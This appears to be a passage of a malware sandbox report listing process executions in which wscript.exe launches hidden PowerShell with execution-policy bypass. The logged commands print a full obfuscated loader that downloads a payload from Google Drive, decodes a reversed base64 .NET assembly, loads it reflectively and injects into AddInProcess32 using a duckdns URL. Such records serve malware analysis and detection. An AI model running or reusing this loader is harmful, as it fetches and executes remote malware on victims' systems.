eCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX (('mBQ'+'imageUrl = Brthttps:'+'//drive.google.co'+'m/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G Brt;mBQwebClient = New-Object Sys'+'tem.Net.We'+'bClient;mBQimageBytes = mBQwebClient.DownloadData(mBQimage'+'Url);mBQimageText = [Syste'+'m.Text.Encoding]::UTF8.GetString(mBQimageBytes);mBQstartFlag = Brt<<BASE64_START>>Brt;mBQendFlag = Brt<<BASE64_END>>Brt;mBQstartIndex = mBQimageText.IndexOf(mBQstartFlag);mBQendIndex = mBQimageText.IndexOf(mBQendFlag);mBQsta'+'rtIndex -ge 0 -and mBQendIndex'+' -gt mBQstartIndex;mBQstartIndex'+' += mBQstartFlag.Length;mBQbase64Length = mBQendIndex - mBQstartIndex;mBQbase'+'64Command = mBQimageText.Substring(mBQstartIndex, mBQbase64Length);mBQbase64Reversed = -join (mBQb'+'ase64Command.ToCharAr'+'ray() sIz ForEa'+'ch-Obj'+'ect { mBQ_ })[-1..-(mB'+'Qbase6'+'4C'+'ommand.Length)];mBQcommandBytes = [System.Convert]::FromBase64String(mBQbase64Re'+'versed);mBQloadedAssembly = [System.Reflection.As'+'sembly]::Load(mBQcommandBytes);mBQvaiMethod = [dnlib.IO.Home].GetMethod(BrtVAIBrt);mBQvaiMethod.Invoke(mBQnull, @(Brttxt.bbbbbbbbbbbewmadam/gro.sndkcud.reganamla'+'colyadirf//'+':ptthBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtAddI'+'nProcess32Brt, BrtdesativadoBrt, BrtdesativadoBrt)'+');').REPLace('mBQ',[STRinG][cHAr]36).REPLace(([cHAr]66+[cHAr]114+[cHAr]116),[STRinG][cHAr]39).REPLace(([cHAr]115+[cHAr]73+[cHAr]122),'|'))"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe